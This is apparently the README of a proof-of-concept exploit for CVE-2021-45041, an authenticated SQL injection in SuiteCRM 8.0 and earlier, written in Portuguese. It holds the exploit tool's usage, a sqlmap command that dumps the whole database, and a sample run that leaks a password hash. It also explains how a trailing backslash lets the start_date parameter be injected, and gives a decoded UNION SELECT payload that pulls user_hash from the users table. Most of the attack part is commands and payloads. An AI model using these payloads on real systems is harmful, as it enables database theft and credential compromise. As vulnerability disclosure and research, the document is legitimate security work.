
PoC para CVE-2021-45041
PoC para CVE-2021-45041 também conhecido como SCRMBT-#177 - Injeção SQL autenticada no SuiteCRM <= 8.0
Opções:
(.venv) ➜ CVE-2021-45041 git:(main) ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Raiz da instalação do SuiteCRM. O padrão é
http://localhost
-u, --username TEXT Nome de usuário
-p, --password TEXT Senha
-c, --col_count INTEGER Número de colunas a usar na consulta UNION. O padrão é 44
-d, --dbms TEXT SGBD usado pelo SuiteCRM. O padrão é mysql
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). O padrão é False
--help Mostra esta mensagem e sai.
https://github.com/manuelz120/CVE-2021-45041
Exemplo de uso:
(.venv) ➜ CVE-2021-45041 git:(main) ✗ ./exploit.py --host http://localhost --username user --password ******
INFO:CVE-2021-45041:Login funcionou - Tentando vazar o hash do usuário para verificar se o SuiteCRM é vulnerável
INFO:CVE-2021-45041:Recebido o seguinte hash: $2y$10$WTN2aqQOyHUWxBjubqvYrukTOOE.rrfmE4SoogFbv4kc9dXu7vZzq
INFO:CVE-2021-45041:Se isso não se parecer com um hash de senha, o exploit pode não funcionar corretamente
INFO:CVE-2021-45041:Lançando sqlmap contra o alvo para obter dump completo do banco de dados
INFO:CVE-2021-45041:sqlmap -u 'http://localhost/index.php?module=Project&action=Tooltips&resource_id=test%5C&start_date=%29+*' --headers 'Cookie: PHPSESSID=93b4g4bfd3ak199iiiands8cv8; sugar_user_theme=SuiteP' --technique U --dbms mysql --union-cols=44 --batch --dump-all
___
__H__
___ ___[.]_____ ___ ___ {1.5.12#pip}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:42:51 /2021-12-27/
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[21:42:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 44 columns (custom)
Payload: http://localhost:80/index.php?module=Project&action=Tooltips&resource_id=test\&start_date=-8702) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a7a71,0x52736356547967794948526b714b71584c55516679466d45537956795a546d664d74516d54644f41,0x716b767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[21:42:52] [INFO] testing MySQL
[21:42:52] [INFO] confirming MySQL
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
[21:42:52] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.51
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[21:42:52] [INFO] sqlmap will dump entries of all tables from all databases now
[21:42:52] [INFO] fetching database names
...
Recentemente descobri uma Injeção SQL autenticada no SuiteCRM. Consegui verificar a vulnerabilidade nas versões 8.0 e 7.12.1. A vulnerabilidade está localizada na ação Tooltips do módulo Project. Em uma instalação padrão, qualquer usuário pode chamar esta ação acessando a seguinte URL (para a versão 8, adicione o prefixo /legacy):
/index.php?module=Project&action=Tooltips&resource_id=test&start_date=test
Se verificarmos a implementação dessa ação (veja
https://github.com/salesagility/SuiteCRM-Core/blob/v8.0.0/public/legacy/modules/Project/controller.php#L485-L513), podemos ver que os valores são retirados diretamente de $_REQUEST sem qualquer sanitização adicional, e posteriormente usados na cláusula where da consulta.

Embora não possamos usar aspas simples devido à codificação de entidades HTML, isso ainda é explorável, pois existem múltiplos pontos de injeção. Se especificarmos um resource_id terminando com uma barra invertida (\), a aspa simples seguinte será escapada, e a string será terminada apenas pela aspa simples após a palavra-chave BETWEEN. Isso significa que qualquer coisa que o cliente enviar como start_date será tratada como SQL puro e pode ser usada para realizar um ataque de Injeção SQL.
Aqui está um PoC mínimo que vaza o hash da senha de um usuário:
Versão 7.12.1:
Versão 8.0:
Versão decodificada da URL:
module=Project&action=Tooltips&resource_id=test\&start_date=) UNION SELECT 0, 1, 2, 3, 4, (SELECT user_hash from users limit 1), 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43 from dual; #

Logo após meu relatório, novas versões do SuiteCRM (7.12.2 e 8.0.1) foram lançadas, contendo a seguinte correção: